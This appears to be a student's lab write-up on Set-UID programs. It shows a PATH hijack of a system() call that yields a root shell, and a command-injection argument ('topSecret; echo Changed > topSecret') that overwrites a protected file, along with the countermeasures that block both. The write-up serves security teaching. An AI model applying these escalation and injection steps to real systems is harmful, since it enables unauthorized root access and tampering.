Q1: None

Q2: (a)

i. passwd – Modify a user's password

ii. chsh – Change login shell

iii. su – Change user ID or become superuser

iv. sudo – Execute a command as another user

v. id – Print user and group information

(b)

These commands need to be Set-UID because we want to give users some extra privileges beyond that are already assigned to them during the execution of these programs to accomplish some specific tasks, but not full privileges such that users are able to exploit these programs in a way that may cause security issues.

If these commands are not Set-UID, two alternatives are considered. First, users are not given any root privileges. In this case, a user's access is limited and he won't be able to accomplish some tasks that requires root privileges during execution such as changing his own password. Second, users are given full root privileges. In this case, a user's access is the same as the root and he can do whatever he wants. For example, he is able to change another user's password or become root himself.

(c)

1. The owner and group field of each program have changed from "root" to "seed" (the user).

2. The Set-UID bit (s) of each program changed to an ordinary execute bit (x).

3. When executing "passwd", there's an error: "Authentication token manipulation error".

4. When executing "chsh", there's an error: "PAM: Authentication failure".

5. When executing "su", there's an error: "Authentication failure".

6. When executing "sudo", there's an error: "sudo must be owned by uid 0 and have the setuid bit set".

Q3: (a)

Yes. If we add the path to the directory where my own **ls** program is located to the environment variable PATH, then when executing my own **system** program, my own **ls** program gets called instead of **/bin/ls**.

```
[02/17/20]seed@VM:~/.../q3$ pwd
/home/seed/PCS/pa0/q3
[02/17/20]seed@VM:~/.../q3$ export PATH=/home/seed/PCS/pa0/q3:$PATH
[02/17/20]seed@VM:~/.../q3$ echo $PATH
/home/seed/PCS/pa0/q3:/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/u
sr/bin:/sbin:/bin:/usr/games:/usr/local/games:.:/snap/bin:/usr/lib/jvm/java-8-or
acle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/h
ome/seed/android/android-sdk-linux/tools:/home/seed/android/android-sdk-linux/pl
atform-tools:/home/seed/android/android-ndk/android-ndk-r8d:/home/seed/.local/bi
n
[02/17/20]seed@VM:~/.../q3$ ../system
You can't see your directories          but I can see you
```

(b)

When running **system**, the shell program (**/bin/bash**) is invoked with the root privilege.

```
[02/17/20]seed@VM:~/.../q3$ cp /bin/sh ls
[02/17/20]seed@VM:~/.../q3$ ../system
VM# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
VM#
```

(c)

No, I cannot get the root privilege.

```
[02/17/20]seed@VM:~/.../q3$ su
Password:
root@VM:/home/seed/PCS/pa0/q3# cd /bin
root@VM:/bin# rm sh
root@VM:/bin# ln -s bash sh
root@VM:/bin# exit
exit
[02/17/20]seed@VM:~/.../q3$ ../system
VM% id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
VM%
```

Q4:

(a)

The program is not safe because we can exploit the shell invoked in the program, which runs with root privilege, to modify any file we want. For example, we can compromise the integrity of the system by the following commands, which alters the content of **topSecret**:

```
[02/17/20]seed@VM:~/.../q4$ ./readOnly topSecret
very confidential information
[02/17/20]seed@VM:~/.../q4$ ./readOnly "topSecret; echo "Changed" > topSecret"
very confidential information
[02/17/20]seed@VM:~/.../q4$ ./readOnly topSecret
Changed
[02/17/20]seed@VM:~/.../q4$
```

(b)

The attack in task (a) doesn't work. Running the same command will cause an error: "No such file or directory". This is because instead of invoking a shell to parse the string, **execve()** replaces the program with the called program and passes the argument strings exactly as specified (it will not interpret quotes).

```
[02/17/20]seed@VM:~/.../q4$ ./readOnly "topSecret; echo "Changed" > topSecret"
/bin/cat: 'topSecret; echo Changed > topSecret': No such file or directory
[02/17/20]seed@VM:~/.../q4$
```